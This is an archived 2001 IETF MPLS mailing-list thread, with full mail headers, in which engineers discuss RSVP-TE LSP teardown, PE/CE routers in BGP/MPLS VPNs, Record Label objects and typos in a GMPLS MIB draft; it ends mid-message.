	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA23794
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 16:25:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohm29103;
	Wed, 9 May 2001 18:33:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkohm01220
	for mpls-outgoing; Wed, 9 May 2001 18:32:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkohm01207
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 18:32:31 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkohm01493
	for <mpls@UU.NET>; Wed, 9 May 2001 18:31:59 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkohm26285
	for <mpls@UU.NET>; Wed, 9 May 2001 18:31:59 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id ABA9F94006; Wed,  9 May 2001 14:31:54 -0400 (EDT)
Message-ID: <3AF98D1A.7D30FAC3@sandburst.com>
Date: Wed, 09 May 2001 14:31:54 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Shankar <shankarananth@yahoo.co.in>
Cc: Hong Liao <hliao@telcordia.com>, David Charlap <david.charlap@marconi.com>,
        mpls@UU.NET
Subject: Re: disconnect connection
References: <20010509174339.4976.qmail@web8003.mail.in.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Julia/Shankar,


Between the two of you and David Charlap, it was writ:

> --- Hong Liao <hliao@telcordia.com> wrote: >
> > David,
> >
> > Hope I understand correctly.
> >
> > 1.  If Ingress sends out Path, and Egress sends back
> > Resv, the LSP is
> > established.  If Ingress wants to tear down the
> > connection, Ingress sends
> > out PathTear to tear down connection.
> >
> Correct.

Not quite.  When the Ingress sends Path and receives Resv,
the LSP is established.

The Ingress may tear down the LSP by sending PathTear
because this forcibly removes Path state associated with
the LSP.  Alternatively, the ingress may simply not send
further Path messages for this LSP - but, while this will
work, it is a substantially suboptimal approach.

>
> > 2.  If Egress sends out Path message, but no Resv
> > back from Egress router,
> > the Egress should send out PathTear to clear the
> > path state.
> >
> Is it "Ingress sends out Path message" .....
> "Egress should send out PathTear" ..?

At some point, the ingress may become disinterested in
using an LSP should it ever be setup.  At that point the
ingress will stop trying to set it up and should forcibly
remove Path state downstream.  This frees up resources
for the next LSR that wants to wait for an LSP to be
established.

>
>
> > 3.  If Egress or LSR find there is failure, they
> > will send out ResvErr, and
> > Ingress send out PathTear to tear down the
> > connection(basically clear the
> > path and resv state).
> >
> > Anyway Ingress is the one which will tear down the
> > connection if there is
> > one.  If the connection has not set up yet, for
> > example, there is no Resv
> > back after Path message was sent out, Ingress still
> > need to send out
> > PathTear to clear the Path state.
>
> Here, you have it right.

Except that the term 'need' is not consisten with the
the use of the word SHOULD.  The ingress can cease
to exist and the LSP will still be torn down and Path
state will still be removed.

>
> shankar
> >
> > Thanks,
> >
> > Julia
> >
> >
> >
> >
> >
> > David Charlap <david.charlap@marconi.com> on
> > 05/07/2001 04:03:21 PM
> >
> > To:   mpls@UU.NET
> > cc:    (bcc: Hong Liao/Telcordia)
> > Subject:  Re: disconnect connection
> >
> >
> >
> > Hong Liao wrote:
> > >
> > > I have questions for disconnecting(clear
> > connection).
> > >
> > > 1. Suppose LSR received Path message from Ingress
> > router, and LSR
> > > sent out Resv message back.  If the LSR wanted to
> > tear down this
> > > session, it will send out ResvTear to Ingress
> > router, and Ingress
> > > router will take out the Resv state of LSR, and do
> > not response
> > > back anything, this session will be ended. I may
> > wrong.
> >
> > First of all, only an egress router should be
> > generating ResvTear
> > messages, unless there's a failure somewhere.  (In
> > which case, various
> > PathErr and ResvErr messages should also be
> > generated.)  A transit
> > router should not arbitrarily go around sending out
> > teardown messages.
> >
> > As a matter of fact, in the case of MPLS, since LSP
> > creation is driven
> > by the ingress router, only the ingress router
> > should be doing any kind
> > of tearing (not counting cleanup after failures.)
> > The ingress router,
> > of course, can not generate a ResvTear, because it
> > won't go anywhere.
> > It will send a PathTear when it wants to destroy the
> > LSP.
> >
> > If an egress router sends ResvTear, the reservation
> > will be removed.  If
> > the ingress router doesn't subsequently tear the
> > Path, however, the Path
> > state will remain in the network.  This will waste
> > bandwidth due to the
> > refreshes for the unused state.  It may also result
> > in wasted resources,
> > since some switches may allocate resources during
> > Path processing.
> >
> > If a transit router tries to do this, it's even
> > worse.  You end up with
> > leftover Path state everywhere, and leftover
> > reservations downstream of
> > that transit router.
> >
> > In general, ResvTear is not used in MPLS, except
> > possibly in conjunction
> > with PathErr messages.  There is no reason for a
> > non- ingress router to
> > tear an LSP except in the face of failures.
> >
> > > 2. another way round, if there is LSR and it
> > forwarded Path message
> > > to Egress router, and Egress router sent back Resv
> > message to LSR,
> > > suppose the LSR wants to tear down this session,
> > it will send out
> > > the PathTear to the Egress router, and Egress
> > router will move the
> > > Path state of LSR, do not response anything, this
> > session is ended.
> > > Did I understand correct?
> >
> > This is how an ingress router will tear an LSP.
> >
> > If some router other than ingress does this,
> > however, you will wind up
> > with leftover Path state in all routers upstream of
> > the LSR.  And until
> > the Resv state times out, there will be leftover
> > reservations on those
> > nodes as well.
> >
> > > 3. If the Ingress router sends out the Path
> > message, but the no Resv
> > >    message sent back from LSR, does Ingress router
> > need to send out
> > >    PathTear to clear the path state in case that
> > this Path state has
> > >    already been sent there.
> >
> > Yes.  Path state (and all of the Path refreshing)
> > will remain in place
> > forever if it is not torn down.
> >
> > > 4.  How about the transit router to try to
> > clear/tear down the
> > > session?
> >
> > This should only happen if there is a failure (or
> > perhaps preemption.)
> >
> > In which case, it should send a PathErr upstream.
> > The ingress router,
> > upon receiving this, may then choose to tear the LSP
> > by sending a
> > PathTear message.
> >
> > If the failure is a broken link (where the attached
> > router knows that a
> > PathTear message can't get through to the downstream
> > nodes), the Path
> > state will timeout (due to lack of refreshes on that
> > interface),
> > resulting in the eventual transmission of PathTear.
> >
> > The router should probably choose to immediately
> > send the PathTear as an
> > optimization (since a link failure will result in
> > the nodes upstream of
> > the failure tearing the state), but this isn't a
> > hard requirement.
> >
> > -- David
> >
> >
> >
> >
>
> ____________________________________________________________
> Do You Yahoo!?
> For regular News updates go to http://in.news.yahoo.com



From owner-mpls@UU.NET  Wed May  9 16:27:59 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA23856
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 16:27:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoht05188;
	Wed, 9 May 2001 20:27:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkoht21462
	for mpls-outgoing; Wed, 9 May 2001 20:26:50 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoht21432
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 20:26:25 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoht25265
	for <mpls@uu.net>; Wed, 9 May 2001 20:25:19 GMT
Received: from abel.senecanetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: abel.senecanetworks.com [63.97.216.18])
	id QQkoht02841
	for <mpls@uu.net>; Wed, 9 May 2001 20:25:18 GMT
Received: (from root@localhost)
	by abel.senecanetworks.com (8.9.3/8.99.99) id LAA14626;
	Wed, 9 May 2001 11:28:41 -0500
Received: from vsharmapc ([10.0.1.238])
	by abel.senecanetworks.com (8.9.3/8.9.3) with SMTP id LAA14570;
	Wed, 9 May 2001 11:28:41 -0500
From: "Vipul Sharma" <vsharma@senecanetworks.com>
To: "'Gopal Jayaraman'" <Gopal.Jayaraman@metera.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Wed, 9 May 2001 16:25:58 -0400
Message-ID: <01b501c0d8c6$42780520$ee01000a@vsharmapc>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
In-Reply-To: <3AF9A064.8EB44E48@metera.com>
X-scanner: echelon
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Guys,
	What is a PE and CE router?? .... Thanx.

Vip

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Gopal
Jayaraman
Sent: Wednesday, May 09, 2001 3:54 PM
Cc: 'mpls@uu.net'
Subject: Re: BGP/MPLS VPN PE LSR


shahram,

the PE that is connected to the final CE, uses the second label
to identify which CE/CE port it has to be deliverd. The whole mpls
header is trimmed before delivering to CE.

Once the CE port is identified, packet is deliverd as raw IPv4 to
the CE by the PE. The second label is not looked up by any of the
intermediate P nodes. PE is typically a egress node.


-Gopal.



Shahram Davari wrote:
>
> Hi,
>
> In an BGP/MPLS VPN scenario if a CE router sends an MPLS packet rather
than an IP packet to a PE router, the PE router should still push 2 labels.
My question is, should the PE router swap the customer's label too or leave
it unchanged?
>
> Yours,
> -Shahram



From owner-mpls@UU.NET  Wed May  9 16:36:04 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24055
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 16:35:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohu09620;
	Wed, 9 May 2001 20:35:22 GMT
Received: by mail-control.mail.uu.net 
	id QQkohu22363
	for mpls-outgoing; Wed, 9 May 2001 20:34:43 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkohu22316
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 20:34:22 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkohu16862
	for <mpls@uu.net>; Wed, 9 May 2001 20:33:35 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkohu12971
	for <mpls@uu.net>; Wed, 9 May 2001 20:33:35 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id QAA11751 for mpls@uu.net; Wed, 9 May 2001 16:33:34 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoht21705
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 20:29:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoht07704
	for <mpls@UU.NET>; Wed, 9 May 2001 20:29:15 GMT
Received: from mother.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQkoht01786
	for <mpls@UU.NET>; Wed, 9 May 2001 20:29:15 GMT
Received: (qmail 12422 invoked by uid 104); 9 May 2001 20:29:14 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.40614 secs); 09/05/2001 13:29:14
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 9 May 2001 20:29:13 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f49KTD123033;
	Wed, 9 May 2001 13:29:13 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJADAK>; Wed, 9 May 2001 13:31:54 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C3B@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Vipul Sharma'" <vsharma@senecanetworks.com>,
        "'Gopal Jayaraman'"
	 <Gopal.Jayaraman@metera.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Wed, 9 May 2001 13:31:53 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

PE: Provider Edge Router
CE: Customer Edge Router

> -----Original Message-----
> From: Vipul Sharma [mailto:vsharma@senecanetworks.com]
> Sent: Wednesday, May 09, 2001 4:26 PM
> To: 'Gopal Jayaraman'
> Cc: 'mpls@uu.net'
> Subject: RE: BGP/MPLS VPN PE LSR
> 
> 
> Guys,
> 	What is a PE and CE router?? .... Thanx.
> 
> Vip
> 
> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Gopal
> Jayaraman
> Sent: Wednesday, May 09, 2001 3:54 PM
> Cc: 'mpls@uu.net'
> Subject: Re: BGP/MPLS VPN PE LSR
> 
> 
> shahram,
> 
> the PE that is connected to the final CE, uses the second label
> to identify which CE/CE port it has to be deliverd. The whole mpls
> header is trimmed before delivering to CE.
> 
> Once the CE port is identified, packet is deliverd as raw IPv4 to
> the CE by the PE. The second label is not looked up by any of the
> intermediate P nodes. PE is typically a egress node.
> 
> 
> -Gopal.
> 
> 
> 
> Shahram Davari wrote:
> >
> > Hi,
> >
> > In an BGP/MPLS VPN scenario if a CE router sends an MPLS 
> packet rather
> than an IP packet to a PE router, the PE router should still 
> push 2 labels.
> My question is, should the PE router swap the customer's 
> label too or leave
> it unchanged?
> >
> > Yours,
> > -Shahram
> 



From owner-mpls@UU.NET  Wed May  9 17:13:24 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25099
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 17:13:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohw04491;
	Wed, 9 May 2001 21:12:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkohw14741
	for mpls-outgoing; Wed, 9 May 2001 21:12:16 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkohw14715
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 21:12:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkohw17027
	for <mpls@UU.NET>; Wed, 9 May 2001 21:11:25 GMT
Received: from spomail01.br.attla.corp by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: webmail.netstream.com.br [200.192.1.34])
	id QQkohw27338
	for <mpls@UU.NET>; Wed, 9 May 2001 21:11:24 GMT
Received: from nsrjo4.br.attla.corp (nsrjo4.attla.corp [10.21.10.6]) by spomail01.br.attla.corp with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.10)
	id KTPDMFKD; Wed, 9 May 2001 18:09:53 -0300
Received: by nsrjo4 with Internet Mail Service (5.5.2653.19)
	id <KJQ8V4N5>; Wed, 9 May 2001 18:10:36 -0300
Message-ID: <F12A0EB611C0D21193BB00105A1848255BC783@nsrjo4>
From: "Loureiro, Rodrigo" <rodrigo.silva@attla.com>
To: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'Gopal Jayaraman'"
	 <Gopal.Jayaraman@metera.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RES: BGP/MPLS VPN PE LSR
Date: Wed, 9 May 2001 18:10:36 -0300 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id RAA25099

Shahram,

> In an BGP/MPLS VPN scenario if a CE router sends an MPLS 
> packet rather than an IP packet to a PE router, the PE router 
> should still push 2 labels.

It doesn´t make much sense. Once you decided to extend the MPLS toward the
CE, you can use the hierarchy of routing knowledge  capability, in order to
avoid the propagation of VPNv4 prefixes through the provider cloud (like an
ISP as a client).

> My question is, should the PE 
> router swap the customer's label too or leave it unchanged?
> 

Try to explain better the VPN topology you are thinking and why do you want
to extend the MPLS to the CE.


Rodrigo Loureiro 
Systems Engineer - AT&T LA 
Tel: 55-11-3365-1670/9655-9676 
----------------------------------------------------------------------------
----------------The Art of Strategy: "Those who are victorious plan
effectively and change decisively. They are like a great river that
maintains its course but adjusts its flow... They have form but are
formless. They are skilled in both planning and adapting and need not fear
the result of a thousand battles; for they win in advance, defeating those
that have already lost." - Sun Tzu, Chinese Warrior and Philosopher, 100
B.C.
----------------------------------------------------------------------------
----------------




From owner-mpls@UU.NET  Wed May  9 18:21:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA27408
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 18:21:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoib28888;
	Wed, 9 May 2001 22:21:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkoib11725
	for mpls-outgoing; Wed, 9 May 2001 22:21:07 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoib11707
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 22:20:52 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoib28083
	for <mpls@uu.net>; Wed, 9 May 2001 22:18:37 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoib01654
	for <mpls@uu.net>; Wed, 9 May 2001 22:18:37 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id SAA19135 for mpls@uu.net; Wed, 9 May 2001 18:18:37 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoia11024
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 22:14:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoia17856
	for <mpls@UU.NET>; Wed, 9 May 2001 22:13:40 GMT
Received: from motgate.mot.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: motgate.mot.com [129.188.136.100])
	id QQkoia19699
	for <mpls@UU.NET>; Wed, 9 May 2001 22:13:40 GMT
Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate.mot.com (motgate 2.1) with ESMTP id PAA00830 for <mpls@UU.NET>; Wed, 9 May 2001 15:13:40 -0700 (MST)]
Received: [from il02exi02.comm.mot.com (il02exi02.comm.mot.com [145.1.204.41]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id PAA02193 for <mpls@UU.NET>; Wed, 9 May 2001 15:13:40 -0700 (MST)]
Received: by il02exi02.comm.mot.com with Internet Mail Service (5.5.2653.19)
	id <HJD5WGSF>; Wed, 9 May 2001 17:13:39 -0500
Message-ID: <01FAF65DEA16D4119B95009027E78F3104E89CD0@il02exm26.comm.mot.com>
From: Narayanan Vidya-CVN065 <vidyan@motorola.com>
To: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'"
	 <mpls@UU.NET>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Wed, 9 May 2001 17:13:39 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I would imagine that to be dependent on the VPN implementation. If the CE and PE routers actually exchange label information, then, I would imagine the label to be swapped. Otherwise, if labels are exchanged independently among PE routers (iBGP peers)and among CE routers (possibly through the PE routers), then, there would be 3 labels in the scenario you described. To my knowledge, MPLS capable CE devices have not been addressed much at all, although that is mentioned as a possibility in the VPN drafts. 

-Vidya

> -----Original Message-----
> From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> Sent: Wednesday, May 09, 2001 2:16 PM
> To: 'mpls@uu.net'
> Subject: BGP/MPLS VPN PE LSR
> 
> 
> Hi,
> 
> In an BGP/MPLS VPN scenario if a CE router sends an MPLS 
> packet rather than an IP packet to a PE router, the PE router 
> should still push 2 labels. My question is, should the PE 
> router swap the customer's label too or leave it unchanged?
> 
> Yours,
> -Shahram
> 
> 



From owner-mpls@UU.NET  Wed May  9 18:30:49 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA27773
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 18:30:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoic12569;
	Wed, 9 May 2001 22:30:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkoib12407
	for mpls-outgoing; Wed, 9 May 2001 22:29:43 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoib12400
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 22:29:37 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoib22718
	for <mpls@uu.net>; Wed, 9 May 2001 22:29:27 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoib11438
	for <mpls@uu.net>; Wed, 9 May 2001 22:29:27 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id SAA20164 for mpls@uu.net; Wed, 9 May 2001 18:29:26 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoib12366
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 22:28:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoib05259
	for <mpls@UU.NET>; Wed, 9 May 2001 22:27:27 GMT
Received: from netmail2.alcatel.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: netmail2.alcatel.com [128.251.168.51])
	id QQkoib05788
	for <mpls@UU.NET>; Wed, 9 May 2001 22:27:27 GMT
Received: from postal.adn.alcatel.com (workstation.alcatel.com [198.205.33.79] (may be forged))
	by netmail2.alcatel.com (8.9.1/8.9.1) with ESMTP id RAA08189
	for <mpls@UU.NET>; Wed, 9 May 2001 17:27:26 -0500 (CDT)
Received: from usa.alcatel.com ([198.205.41.31]) by postal.adn.alcatel.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAA6726
          for <mpls@UU.NET>; Wed, 9 May 2001 18:41:06 -0400
Message-ID: <3AF9C4A5.820B56FE@usa.alcatel.com>
Date: Wed, 09 May 2001 18:28:53 -0400
From: Yuan Gu <Yuan.Gu@usa.alcatel.com>
Organization: Alcatel USA
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls <mpls@UU.NET>
Subject: record label in RRO
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello:

I have some questions about Record Label subobject of Record Route
Object in rsvp-lsp-tunnel-08.txt(section 4.4) :

1. What's the purpose of record label?
2. Should it be implemented one way (only along Path direction) or both
way (Path and Resv)?
3. Which label should be put in the RRO, in_label or out_label?
4. In case of both way, which label should be put in the RRO of RESV
msg, in_label or out_label?

Regards!
Yuan Gu



From owner-mpls@UU.NET  Thu May 10 03:07:58 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA20287
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 03:07:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkojk22257;
	Thu, 10 May 2001 07:07:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkojk11111
	for mpls-outgoing; Thu, 10 May 2001 07:06:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkojk11103
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 07:06:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkojk18191
	for <mpls@uu.net>; Thu, 10 May 2001 07:05:56 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkojk18758
	for <mpls@uu.net>; Thu, 10 May 2001 07:05:53 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000085714@fsnt.future.futsoft.com>;
 Thu, 10 May 2001 12:41:23 +0530
Received: from future.futsoft.com (arumugamr.future.futsoft.com [10.20.6.33])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with ESMTP id f4A75is19755;
	Thu, 10 May 2001 12:35:44 +0530
Message-Id: <3AFA3F9C.E3043735@future.futsoft.com>
Date: Thu, 10 May 2001 12:43:32 +0530
From: Arumugam R <arumugamr@future.futsoft.com>
Organization: FSL
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Adrian Farrel <afarrel@movaz.com>, "mpls@uu.net" <mpls@UU.NET>
Subject: Doubts in gmpls-te-mib
Content-Type: multipart/mixed;
 boundary="------------C6C130CAE17A60E5012529A8"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------C6C130CAE17A60E5012529A8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Adrian,

While going through the latest gmpls mib, the following observations are
found.

1. A new textual convention has been defined as
MplsGeneralizedLabelTypes, but when it is referred down the line, it is
referred as MplsGeneralizedLabelType only (in
gmplsTunnelHopExplicitLabelType and
gmplsTunnelHopReversePathExplicitLabelType ).
Which one to keep (Types or Type). I think it is a typo error.

2. In GmplsTunnelEntry the first object is gmplsTunnelAdminStatus. While
describing the object it is stated as mplsTunnelAdminStatus and it
refers to
mplsTunnelEntry. If the above entry is to be modified pointing to
gmplsTunnelEntry then I think all other objects have to be shifted one
step down since
gmplsTunnelOperStatus has a value { gmplsTunnelEntry 1 }. Will it be
modified or the AdminStatus will be removed from the TunnelEntry.

3. Also gmplsTunnelGPID and gmplsTunnelRNC are pointing to the same
